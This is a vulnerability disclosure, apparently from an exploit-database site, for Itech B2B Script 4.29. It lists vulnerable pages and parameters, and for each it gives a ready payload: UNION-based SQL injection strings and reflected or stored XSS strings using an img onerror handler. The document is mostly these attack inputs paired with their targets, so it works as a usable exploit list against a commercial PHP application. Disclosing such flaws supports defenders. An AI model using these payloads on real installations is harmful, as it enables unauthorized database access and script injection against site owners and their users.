Itech B2B 4.2.9 Cross Site Scripting / SQL Injection

2017.02.15
Credit: Marc Castejon
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-89
CWE-79

Exploit Title : Itech scripts B2B Script v4.29 - Multiple Vulnerability Google Dork : - Date : 12/02/2017 Exploit Author : Marc Castejon <marc@silentbreach.com> Vendor Homepage : http://itechscripts.com/b2b-script/ Software Link: http://b2b.itechscripts.com Type : webapps Platform: PHP Version: 4.29 Sofware Price and Demo : $250 ------------------------------------------------ Type: Error Based Sql Injection Vulnerable URL:http://localhost/[PATH]/search.php Vulnerable Parameters: keywords Method: GET Payload: ') UNION ALL SELECT NULL,CONCAT(0x7171717671,0x5055787a7374645446494e58566e66484f74555968674d504262564348434b70657a4c45556b534e,0x716a626271)# ------------------------------------------------ Type: Error Based Sql Injection Vulnerable URL:http://localhost/[PATH]/search.php Vulnerable Parameters: rctyp Method: GET Payload: ') UNION ALL SELECT NULL,CONCAT(0x7171717671,0x5055787a7374645446494e58566e66484f74555968674d504262564348434b70657a4c45556b534e,0x716a626271)# ----------------------------------------------- Type: Reflected XSS Vulnerable URL:http://localhost/[PATH]/search.php Vulnerable Parameters: rctyp Method: GET Payload: <img src=i onerror=prompt(1)> ----------------------------------------------- Type: Reflected XSS Vulnerable URL:http://localhost/[PATH]/search.php Vulnerable Parameters: keyword Method: GET Payload: <img src=i onerror=prompt(1)> ------------------------------------------------ Type: Error Based Sql Injection Vulnerable URL:http://localhost/[PATH]/catcompany.php Vulnerable Parameters: token Method: GET Payload: ') UNION ALL SELECT NULL,CONCAT(0x7171717671,0x5055787a7374645446494e58566e66484f74555968674d504262564348434b70657a4c45556b534e,0x716a626271)# ----------------------------------------------- Type: Error Based Sql Injection Vulnerable URL:http://localhost/[PATH]/buyleads-details.php Vulnerable Parameters: id Method: GET Payload: ') UNION ALL SELECT NULL,CONCAT(0x7171717671,0x5055787a7374645446494e58566e66484f74555968674d504262564348434b70657a4c45556b534e,0x716a626271)# ----------------------------------------------- Type: Stored XSS Vulnerable URL:http://localhost/[PATH]/ajax-file/sendMessage.php Vulnerable Parameters: msg_message Method: POST Payload: <img src=i onerror=prompt(1)> ------------------------------------------------ Type: Stored XSS Vulnerable URL:http://localhost/[PATH]/my-contactdetails.php Vulnerable Parameters: fname Method: POST Payload: <img src=i onerror=prompt(1)>


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2018, cxsecurity.com

 

Back to Top